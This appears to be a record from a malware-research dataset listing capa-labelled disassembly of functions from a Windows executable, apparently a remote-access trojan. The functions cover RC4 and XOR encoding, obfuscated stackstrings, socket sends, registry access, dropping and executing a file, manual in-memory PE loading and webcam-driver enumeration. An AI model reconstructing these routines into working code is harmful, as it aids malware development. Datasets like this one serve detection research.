joyce8/EMBER2024-capa huggingface dataset:
Function at 0x429150
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x400
push esi
mov esi, dword [esp + 0x40c]
test esi, esi
jne 0x42916c
xor eax, eax
pop esi
add esp, 0x400
ret
push ebx
push ebp
push edi
call fcn.00428da0
mov ebp, dword [esp + 0x41c]
or edx, 0xffffffff
test ebp, ebp
jne 0x4291b8
mov edi, dword [0x45a03c]
mov eax, dword [esp + 0x414]
mov ecx, edx
xor ebx, ebx
mov bl, byte [eax]
and ecx, 0xff
xor ecx, ebx
shr edx, 8
mov ecx, dword [edi + ecx*4]
xor edx, ecx
inc eax
dec esi
jne 0x42918f
pop edi
mov eax, edx
pop ebp
pop ebx
not eax
pop esi
add esp, 0x400
ret
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov edi, dword [0x45a03c]
mov ecx, dword [esp + 0x414]
xor eax, eax
mov al, byte [ecx]
mov ebx, dword [esp + eax*4 + 0x10]
inc ebx
mov dword [esp + eax*4 + 0x10], ebx
mov ebx, edx
and ebx, 0xff
xor ebx, eax
shr edx, 8
mov eax, dword [edi + ebx*4]
xor edx, eax
inc ecx
dec esi
jne 0x4291d2
xor edi, edi
xor eax, eax
lea ecx, [esp + 0x10]
mov esi, 7
mov ebx, dword [ecx]
add ecx, 4
add eax, ebx
dec esi
jne 0x429202
lea ecx, [esp + 0x2c]
mov esi, 0x79
mov ebx, 0x80
add edi, dword [ecx]
add ecx, 4
dec esi
jne 0x42921a
cmp ebx, 0x100
jge 0x42923f
mov esi, 0x100
lea ecx, [esp + ebx*4 + 0x10]
sub esi, ebx
mov ebx, dword [ecx]
add ecx, 4
add eax, ebx
dec esi
jne 0x429235
shr edi, 2
cmp edi, eax
pop edi
sbb ecx, ecx
mov eax, edx
neg ecx
mov word [ebp], cx
pop ebp
pop ebx
pop esi
not eax
add esp, 0x400
ret

Function at 0x430ffa
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x431035
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x43101c
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x43102d
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x431037
inc edi
add eax, 0x28
cmp edi, esi
jb 0x431012
xor eax, eax
pop edi
pop esi
ret

Function at 0x4313c7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push esi
push dword [ebp + 8]
call fcn.00430f7f
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
dec edi
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.00430fca
push eax
push esi
push dword [ebp + 8]
call fcn.00430f7f
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.00430fba
fist word [ecx - 0x627758db]
jl 0x43143f
invalid
invalid
Function at 0x4016d0
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x4089d8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x19c
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
lea ecx, [esi + 4]
call fcn.00401000
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1ac], 0
call fcn.00401000
lea ecx, [esi + 0x54]
mov byte [esp + 0x1ac], 1
call fcn.00401000
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1ac], 2
call fcn.00401000
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
mov byte [esp + 0x1b0], 3
mov dword [esi], 0x409268
call edi
lea eax, [esp + 0x14]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
call edi
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
mov dword [esi + 0xac], eax
mov byte [esi + 0xb0], 0
call edi
lea ecx, [esp + 8]
push 5
mov dword [esi + 0xa8], 0xffffffff
push ecx
mov ecx, dword [0x40bbc8]
push 0x40b668
mov byte [esp + 0x14], 0x45
mov byte [esp + 0x15], 0x43
mov byte [esp + 0x16], 0x42
mov byte [esp + 0x17], 0x44
mov byte [esp + 0x18], 0x41
call fcn.00404990
mov ecx, dword [0x40bbc8]
push 0x40bd28
call fcn.00404b20
mov ecx, dword [0x40bbc8]
push eax
push 0x40bd28
push 0x40b874
call fcn.00404d80
mov ecx, dword [esp + 0x1a4]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a8
ret

Function at 0x4024f0
Capabilities:
Set socket configuration

Disassembly:
push ecx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, ecx
push 0
call edi
push 0
mov word [esp + 0xc], 1
mov word [esp + 0xe], 0
call edi
mov ecx, dword [esi + 0xa8]
lea eax, [esp + 8]
push 4
push eax
push 0x80
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0
call edi
mov edx, dword [esi + 0xa8]
push edx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0
call edi
lea eax, [esi + 0xb0]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [esi + 0xa8]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call edi
mov edx, dword [esi + 0xac]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [esi + 0xa8], 0xffffffff
pop edi
pop esi
pop ecx
ret
Function at 0x402660
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x110
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
mov dword [esp + 0x1c], ecx
push 0
call esi
push 0
mov dword [esp + 0x18], 0
call esi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x40bbc8]
push 0x100
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x24]
push 0x40b874
push eax
call fcn.00404990
mov ebx, dword [esp + 0x128]
mov ebp, dword [esp + 0x124]
push ebx
lea ecx, [esp + 0x24]
push ebp
push ecx
mov ecx, dword [0x40bbc8]
call fcn.00404e20
push 0
call esi
mov edi, dword [esp + 0x12c]
mov eax, ebx
cmp eax, edi
mov dword [esp + 0x18], ebx
jb 0x40274c
push 0
call esi
mov dword [esp + 0x10], 0
mov edx, dword [esp + 0x1c]
push 0
push edi
push ebp
mov eax, dword [edx + 0xa8]
push eax
call dword [sym.imp.WS2_32.dll_send]
push 0
mov ebx, eax
call esi
test ebx, ebx
jg 0x402721
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0xf
mov dword [esp + 0x10], eax
jl 0x4026f4
push 0
call esi
cmp dword [esp + 0x10], 0xf
je 0x4027a5
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, ebx
add ebp, edi
mov dword [esp + 0x18], ecx
call esi
mov eax, dword [esp + 0x18]
sub eax, edi
cmp eax, edi
mov dword [esp + 0x18], eax
jae 0x4026e8
mov ebx, eax
test ebx, ebx
jbe 0x402798
push 0
call esi
mov dword [esp + 0x10], 0
mov ecx, dword [esp + 0x1c]
push 0
push ebx
push ebp
mov edx, dword [ecx + 0xa8]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov edi, eax
test edi, edi
jg 0x402785
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0xf
mov dword [esp + 0x10], eax
jl 0x40275c
push 0
call esi
cmp dword [esp + 0x10], 0xf
je 0x4027a5
mov eax, dword [esp + 0x14]
add eax, edi
jmp 0x40279c
mov eax, dword [esp + 0x14]
cmp eax, dword [esp + 0x128]
je 0x4027a8
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret 0xc

Function at 0x4034e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
mov al, 0x6c
mov edx, dword [str.Consruin.dll]
mov byte [esp + 1], al
mov byte [esp + 2], al
mov al, 0x6f
lea ecx, [esp]
mov byte [esp + 4], al
mov byte [esp + 0xb], al
mov eax, dword [esp + 0x14]
mov byte [esp], 0x44
push eax
push ecx
push edx
push 0
mov byte [esp + 0x13], 0x53
mov byte [esp + 0x15], 0x72
mov byte [esp + 0x16], 0x74
mov byte [esp + 0x17], 0x57
mov byte [esp + 0x18], 0x69
mov byte [esp + 0x19], 0x6e
mov byte [esp + 0x1a], 0x64
mov byte [esp + 0x1c], 0x77
mov byte [esp + 0x1d], 0
call fcn.00402ca0
mov dword [0x40ba98], eax
xor eax, eax
add esp, 0x20
ret 4

Function at 0x403960
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0x9f54]
mov dword [ebx], 0x409274
test eax, eax
jbe 0x4039a4
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea esi, [ebx + 0x314]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0x9f54]
inc edi
add esi, 4
cmp edi, eax
jb 0x403984
pop esi
pop ebp
mov ecx, ebx
call fcn.00403fa0
pop edi
pop ebx
ret
Function at 0x403d40
Capabilities:
Check if file exists
Create process on windows
Get common file path
Get file attributes
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x150
push esi
lea eax, [esp + 0x50]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov al, 0x45
mov byte [esp + 0xc], 0x5c
mov byte [esp + 0xd], 0x52
mov byte [esp + 0xe], 0x75
mov byte [esp + 0xf], 0x25
mov byte [esp + 0x10], 0x64
mov byte [esp + 0x11], 0x2e
mov byte [esp + 0x12], al
mov byte [esp + 0x13], 0x58
mov byte [esp + 0x14], al
mov byte [esp + 0x15], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x50]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 2
push 0
push 2
lea edx, [esp + 0x64]
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x403e61
mov ecx, dword [esp + 0x15c]
mov edx, dword [esp + 0x158]
lea eax, [esp + 0x18]
push 0
push eax
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x160], 2
je 0x403e61
mov ecx, dword [0x40bbc8]
lea eax, [esp + 0x50]
push 0x2e
push eax
call fcn.00404d40
test eax, eax
je 0x403e61
lea ecx, [esp + 0x50]
mov byte [esp + 4], 0x6f
push ecx
mov byte [esp + 9], 0x70
mov byte [esp + 0xa], 0x65
mov byte [esp + 0xb], 0x6e
mov byte [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x403e61
push 5
push 0
lea edx, [esp + 0x58]
push 0
lea eax, [esp + 0x10]
push edx
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
pop esi
add esp, 0x150
ret 0xc
Function at 0x404040
Capabilities:
Parse pe header

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push edi
push 0
call ebp
mov edi, dword [esp + 0x18]
push 0
mov byte [edi], 0x4d
mov byte [edi + 1], 0x5a
call ebp
cmp word [edi], 0x5a4d
je 0x40406d
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov edx, dword [edi + 0x3c]
push 0
add edi, edx
call ebp
cmp dword [edi], 0x4550
je 0x404086
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [edi + 0x50]
mov ecx, dword [edi + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call esi
push 0
mov ebx, eax
call ebp
test ebx, ebx
jne 0x4040c1
mov edx, dword [edi + 0x50]
push 4
push 0x2000
push edx
push ebx
call esi
mov ebx, eax
test ebx, ebx
jne 0x4040c1
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
call ebp
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
xor eax, eax
push eax
mov dword [esi + 4], ebx
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
call ebp
mov eax, dword [edi + 0x50]
push 4
push 0x1000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [edi + 0x54]
push 4
push 0x1000
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [esp + 0x18]
mov edx, dword [edi + 0x54]
mov dword [esp + 0x10], eax
add edx, dword [ecx + 0x3c]
push edx
push ecx
mov ecx, dword [0x40bbc8]
push eax
call fcn.00404990
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
push 0
add eax, dword [ecx + 0x3c]
mov dword [esi], eax
call ebp
mov edx, dword [esi]
push 0
mov dword [edx + 0x34], ebx
call ebp
mov eax, dword [esp + 0x18]
push esi
push edi
push eax
call fcn.004041e0
mov ecx, dword [edi + 0x34]
add esp, 0xc
mov eax, ebx
sub eax, ecx
push 0
mov dword [esp + 0x1c], eax
call ebp
mov eax, dword [esp + 0x18]
test eax, eax
je 0x404173
push eax
push esi
call fcn.004043e0
add esp, 8
push 0
call ebp
push esi
call fcn.00404490
add esp, 4
test eax, eax
je 0x4041b1
push esi
call fcn.004042d0
add esp, 4
push 0
call ebp
mov ecx, dword [esi]
mov eax, dword [ecx + 0x28]
test eax, eax
je 0x4041c9
add eax, ebx
test eax, eax
je 0x4041b1
push 0
push 1
push ebx
call eax
push 0
mov edi, eax
call ebp
test edi, edi
jne 0x4041c2
push esi
call fcn.00404700
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov dword [esi + 0x10], 1
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x4041e0
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x14]
push ebp
push esi
mov ebp, dword [ebx + 4]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call edi
mov eax, dword [ebx]
xor ecx, ecx
push 0
mov cx, word [eax + 0x14]
lea esi, [ecx + eax + 0x18]
call edi
mov edx, dword [ebx]
mov dword [esp + 0x10], 0
cmp word [edx + 6], 0
jbe 0x4042bd
add esi, 0x10
push 0
call edi
cmp dword [esi], 0
jne 0x404263
mov eax, dword [esp + 0x1c]
push 0
mov ebx, dword [eax + 0x38]
call edi
test ebx, ebx
jle 0x40429d
mov ecx, dword [esi - 4]
push 4
push 0x1000
add ecx, ebp
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, ebx
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [esi - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x404297
mov ecx, dword [esi - 4]
mov eax, dword [esi]
push 4
push 0x1000
add ecx, ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [esi]
mov ecx, dword [0x40bbc8]
mov edi, eax
mov eax, dword [esi + 4]
push edx
mov edx, dword [esp + 0x1c]
add eax, edx
push eax
push edi
call fcn.00404990
mov dword [esi - 8], edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add esi, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x40421e
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x4042d0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0xc
push ebp
push esi
mov esi, dword [esp + 0x18]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
push edi
mov eax, dword [esi]
push 0
mov cx, word [eax + 0x14]
lea edi, [ecx + eax + 0x18]
call ebp
mov edx, dword [esi]
mov dword [esp + 0xc], 0
cmp word [edx + 6], 0
jbe 0x4043cd
push ebx
lea esi, [edi + 0x24]
mov eax, dword [esi]
push 0
mov edi, eax
mov ebx, eax
shr edi, 0x1d
shr ebx, 0x1e
shr eax, 0x1f
and edi, 1
and ebx, 1
mov dword [esp + 0x18], eax
call ebp
test dword [esi], 0x2000000
je 0x404343
mov eax, dword [esi - 0x14]
mov ecx, dword [esi - 0x1c]
push 0x4000
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x4043ac
mov eax, dword [esp + 0x14]
lea edx, [ebx + edi*2]
push 0
lea ecx, [eax + edx*2]
mov ebx, dword [ecx*4 + 0x40b05c]
call ebp
test dword [esi], 0x4000000
je 0x404363
or bh, 2
mov edi, dword [esi - 0x14]
push 0
call ebp
test edi, edi
jne 0x40438f
push edi
call ebp
mov eax, dword [esi]
test al, 0x40
je 0x404382
mov edx, dword [esp + 0x20]
mov eax, dword [edx]
mov edi, dword [eax + 0x20]
jmp 0x40438f
test al, 0x80
je 0x40438f
mov ecx, dword [esp + 0x20]
mov edx, dword [ecx]
mov edi, dword [edx + 0x24]
push 0
call ebp
test edi, edi
jbe 0x4043ac
push 0
call ebp
mov ecx, dword [esi - 0x1c]
lea eax, [esp + 0x18]
push eax
push ebx
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add esi, 0x28
mov ecx, dword [edx]
xor edx, edx
mov dword [esp + 0x10], eax
mov dx, word [ecx + 6]
cmp eax, edx
jl 0x404309
pop ebx
pop edi
pop esi
pop ebp
add esp, 0xc
ret
Function at 0x404d80
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x400
push ebx
push ebp
push esi
push edi
xor ebx, ebx
xor esi, esi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x414]
lea edi, [esp + 0x10]
mov eax, ebx
xor edx, edx
div dword [esp + 0x41c]
mov ebp, dword [esp + 0x418]
xor eax, eax
mov byte [ebx + ecx], bl
inc ebx
add edi, 4
cmp ebx, 0x100
mov al, byte [edx + ebp]
mov dword [edi - 4], eax
jl 0x404daa
xor eax, eax
lea edi, [esp + 0x10]
mov dl, byte [eax + ecx]
mov ebp, dword [edi]
mov ebx, edx
and ebx, 0xff
add ebx, ebp
add esi, ebx
and esi, 0x800000ff
jns 0x404dfa
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esi + ecx]
add edi, 4
mov byte [eax + ecx], bl
inc eax
cmp eax, 0x100
mov byte [esi + ecx], dl
jl 0x404dd9
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x400
ret 0xc

Function at 0x404e20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
push esi
push edi
xor ecx, ecx
xor esi, esi
xor edi, edi
test eax, eax
jbe 0x404eac
mov eax, dword [esp + 0xc]
push ebx
push ebp
mov ebp, dword [esp + 0x18]
inc ecx
and ecx, 0x800000ff
jns 0x404e4b
dec ecx
or ecx, 0xffffff00
inc ecx
mov dl, byte [ecx + eax]
mov ebx, edx
and ebx, 0xff
add esi, ebx
and esi, 0x800000ff
jns 0x404e68
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esi + eax]
mov byte [esp + 0x18], dl
mov byte [ecx + eax], bl
mov ebx, dword [esp + 0x18]
mov byte [esi + eax], dl
xor edx, edx
mov dl, byte [ecx + eax]
and ebx, 0xff
add edx, ebx
and edx, 0x800000ff
jns 0x404e96
dec edx
or edx, 0xffffff00
inc edx
mov dl, byte [edx + eax]
mov bl, byte [edi + ebp]
xor bl, dl
mov edx, dword [esp + 0x1c]
mov byte [edi + ebp], bl
inc edi
cmp edi, edx
jb 0x404e3a
pop ebp
pop ebx
pop edi
pop esi
ret 0xc
Function at 0x404ec0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x409298
push 0x4084d2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x23c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x124], bl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x123]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x24c]
push eax
push 0x20019
push ebx
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x404f2e
mov dword [ebp - 0x20], 0xffffffff
jmp 0x404f94
cmp dword [ebp + 0x24], ebx
jne 0x404f94
mov eax, dword [ebp + 0x14]
cmp eax, ebx
jbe 0x404f94
cmp eax, 2
ja 0x404f94
mov dword [ebp - 0x1c], 0x104
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x124]
push ecx
lea edx, [ebp + 0x14]
push edx
push ebx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x24c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x404f94
lea edx, [ebp - 0x124]
push edx
mov ecx, dword [0x40bbc8]
call fcn.004048f0
push eax
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [0x40bbc8]
call fcn.00404ba0
mov dword [ebp - 0x20], 1
mov dword [ebp - 4], 0xffffffff
call fcn.00404fb6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404fd0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4092a8
push 0x4084d2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
sub eax, ebx
je 0x405007
dec eax
je 0x40502a
jmp 0x40507f
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40507f
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40507f
mov edi, dword [ebp + 0x14]
cmp edi, ebx
jbe 0x40507f
cmp edi, 2
ja 0x40507f
mov esi, dword [ebp + 0x18]
push esi
mov ecx, dword [0x40bbc8]
call fcn.00404b20
inc eax
push eax
push esi
push edi
push ebx
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40507f
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.0040509f
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4050c0
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
sub esp, 0x48
mov cl, 0x45
mov eax, 4
mov byte [esp + 0x1f], cl
mov byte [esp + 0x22], cl
mov cl, 0x49
push ebx
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov al, 0x41
mov bl, 0x44
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2d], cl
mov cl, 0x74
mov byte [esp + 0x1d], al
mov byte [esp + 0x1f], bl
mov byte [esp + 0x21], al
mov byte [esp + 0x25], bl
mov al, 0x5c
mov bl, 0x53
mov byte [esp + 0x34], cl
mov byte [esp + 0x3b], cl
mov cl, 0x72
mov byte [esp + 0x24], al
mov byte [esp + 0x27], bl
mov byte [esp + 0x30], al
mov byte [esp + 0x31], bl
mov byte [esp + 0x37], al
mov byte [esp + 0x48], al
mov dl, 0x52
mov bl, 0x73
mov byte [esp + 0x3c], cl
mov byte [esp + 0x40], cl
mov byte [esp + 0x47], cl
lea eax, [esp + 4]
lea ecx, [esp + 0x1c]
mov byte [esp + 0x1e], dl
mov byte [esp + 0x22], dl
mov byte [esp + 0x29], dl
mov byte [esp + 0x33], bl
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], bl
push eax
mov dl, 0x65
xor ebx, ebx
push ecx
push connect
mov byte [esp + 0x28], 0x48
mov byte [esp + 0x2c], 0x57
mov byte [esp + 0x34], 0x43
mov byte [esp + 0x37], 0x50
mov byte [esp + 0x38], 0x54
mov byte [esp + 0x3a], 0x4f
mov byte [esp + 0x3b], 0x4e
mov byte [esp + 0x3e], 0x79
mov byte [esp + 0x41], dl
mov byte [esp + 0x42], 0x6d
mov byte [esp + 0x44], 0x43
mov byte [esp + 0x45], dl
mov byte [esp + 0x46], 0x6e
mov byte [esp + 0x49], 0x61
mov byte [esp + 0x4a], 0x6c
mov byte [esp + 0x4b], 0x50
mov byte [esp + 0x4d], 0x6f
mov byte [esp + 0x4e], 0x63
mov byte [esp + 0x4f], dl
mov byte [esp + 0x52], 0x6f
mov byte [esp + 0x55], 0x30
mov byte [esp + 0x56], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea edx, [esp + 8]
lea eax, [esp + 0x10]
push edx
lea ecx, [esp + 0x10]
push eax
push ecx
mov byte [esp + 0x20], 0x7e
mov byte [esp + 0x21], 0x4d
mov byte [esp + 0x22], 0x48
mov byte [esp + 0x23], 0x7a
mov byte [esp + 0x24], bl
push ebx
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x24]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
pop ebx
add esp, 0x48
ret
Function at 0x405220
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0xc4
mov al, 0x6c
mov cl, 0x72
mov byte [esp + 0xa], al
mov byte [esp + 0xb], al
mov al, 0x69
push ebp
mov byte [esp + 0x1c], al
mov byte [esp + 0x25], al
mov byte [esp + 0x28], al
push esi
mov byte [esp + 0x1f], cl
mov byte [esp + 0x23], cl
mov byte [esp + 0x28], cl
lea eax, [esp + 0x18]
push edi
lea ecx, [esp + 0xc]
mov dl, 0x65
push eax
push ecx
xor edi, edi
mov byte [esp + 0x14], 0x41
mov byte [esp + 0x15], 0x56
mov byte [esp + 0x16], 0x49
mov byte [esp + 0x17], 0x43
mov byte [esp + 0x18], 0x41
mov byte [esp + 0x19], 0x50
mov byte [esp + 0x1a], 0x33
mov byte [esp + 0x1b], 0x32
mov byte [esp + 0x1c], 0x2e
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x20], 0
mov byte [esp + 0x24], 0x63
mov byte [esp + 0x25], 0x61
mov byte [esp + 0x26], 0x70
mov byte [esp + 0x27], 0x47
mov byte [esp + 0x28], dl
mov byte [esp + 0x29], 0x74
mov byte [esp + 0x2a], 0x44
mov byte [esp + 0x2d], 0x76
mov byte [esp + 0x2e], dl
mov byte [esp + 0x30], 0x44
mov byte [esp + 0x31], dl
mov byte [esp + 0x32], 0x73
mov byte [esp + 0x33], 0x63
mov byte [esp + 0x36], 0x70
mov byte [esp + 0x37], 0x74
mov byte [esp + 0x39], 0x6f
mov byte [esp + 0x3a], 0x6e
mov byte [esp + 0x3b], 0x41
mov byte [esp + 0x3c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
xor esi, esi
test edi, edi
jne 0x40531e
lea edx, [esp + 0x38]
push 0x32
push edx
